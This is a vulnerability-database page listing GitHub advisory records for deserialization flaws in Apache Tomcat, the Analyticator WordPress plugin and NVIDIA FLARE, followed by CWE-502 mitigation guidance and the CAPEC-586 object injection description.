      "url": "https://lists.apache.org/thread.html/r123b3ebe389f46f9d337923f393cdae4d3e9b78d982d706712f0898c@%3Ccommits.tomee.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r26950738f4b4ca2d256597cf391d52d3450fa665c297ea5ca38f5469@%3Cusers.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r77eae567ed829da9012cadb29af17f2df8fa23bf66faf88229857bb1%40%3Cannounce.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r7bc247fffcb1d58415215c861d2354bd653c86266230d78a93c71ae2@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8a2ac0e476dbfc1e6440b09dcc782d444ad635d6da26f0284725a5dc@%3Cusers.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8dd19c514face6dd85fd4eab0271854883f40c7307926c1f7cd5400c@%3Ccommits.tomee.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/raa4123e472175bb052fbba165d37187cea923f755e8f3f30d124cb3f@%3Ccommits.tomee.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb1c0fb105ce2b93b7ec6fc1b77dd208022621a91c12d1f580813cfed@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb51ccd58b2152fc75125b2406fc93e04ca9d34e737263faa6ff0f41f@%3Cusers.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc1778b38e74b5b6142414d57623bd55b023a72361f422836782fca3c@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc8473b08abdf3c16494ed817bec1717a0ee0c8080315bc27db5f21c3@%3Ccommits.tomee.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf59c72572b9fee674a5d5cc6afeca4ffc3918a02c354a81cc50b7119@%3Ccommits.tomee.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf6d5d57b114678d8898005faef31e9fd6d7c981fcc4ccfc3bc272fc9@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf70f53af27e04869bdac18b1fc14a3ee529e59eb12292c8791a77926@%3Cusers.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rfe62fbf9d4c314f166fe8c668e50e5d9dd882a99447f26f0367474bf@%3Cannounce.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rfe62fbf9d4c314f166fe8c668e50e5d9dd882a99447f26f0367474bf@%3Cannounce.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rfe62fbf9d4c314f166fe8c668e50e5d9dd882a99447f26f0367474bf@%3Cdev.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rfe62fbf9d4c314f166fe8c668e50e5d9dd882a99447f26f0367474bf@%3Cusers.tomcat.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/05/msg00020.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00057.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/157924/Apache-Tomcat-CVE-2020-9484-Proof-Of-Concept.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2020/Jun/6"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/03/01/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Potential remote code execution in Apache Tomcat"
}

GHSA-345R-2RQP-M78H

Vulnerability from github – Published: 2023-01-23 15:30 – Updated: 2023-01-31 18:30
VLAI
Details

The Analyticator WordPress plugin before 6.5.6 unserializes user input provided via the settings, which could allow high-privilege users such as admin to perform PHP Object Injection when a suitable gadget is present.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-3425"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-23T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Analyticator WordPress plugin before 6.5.6 unserializes user input provided via the settings, which could allow high-privilege users such as admin to perform PHP Object Injection when a suitable gadget is present.",
  "id": "GHSA-345r-2rqp-m78h",
  "modified": "2023-01-31T18:30:23Z",
  "published": "2023-01-23T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3425"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/df1c36bb-9861-4272-89c9-ae76e62f687c"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3468-Q87C-9XHV

Vulnerability from github – Published: 2026-04-28 21:36 – Updated: 2026-04-28 21:36
VLAI
Details

NVIDIA FLARE SDK contains a vulnerability in FOBS, where an attacker may cause deserialization of untrusted data by sending a malicious FOBS- encoded message. A successful exploit of this vulnerability might lead to code execution.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-24186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-28T19:36:45Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA FLARE SDK  contains a vulnerability in FOBS, where an attacker may cause deserialization of untrusted data by sending a malicious FOBS- encoded message. A successful exploit of this vulnerability might lead to code execution.",
  "id": "GHSA-3468-q87c-9xhv",
  "modified": "2026-04-28T21:36:12Z",
  "published": "2026-04-28T21:36:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24186"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5819"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24186"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation
Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation
Architecture and Design Implementation
  • Make fields transient to protect them from deserialization.
  • An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation
Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.

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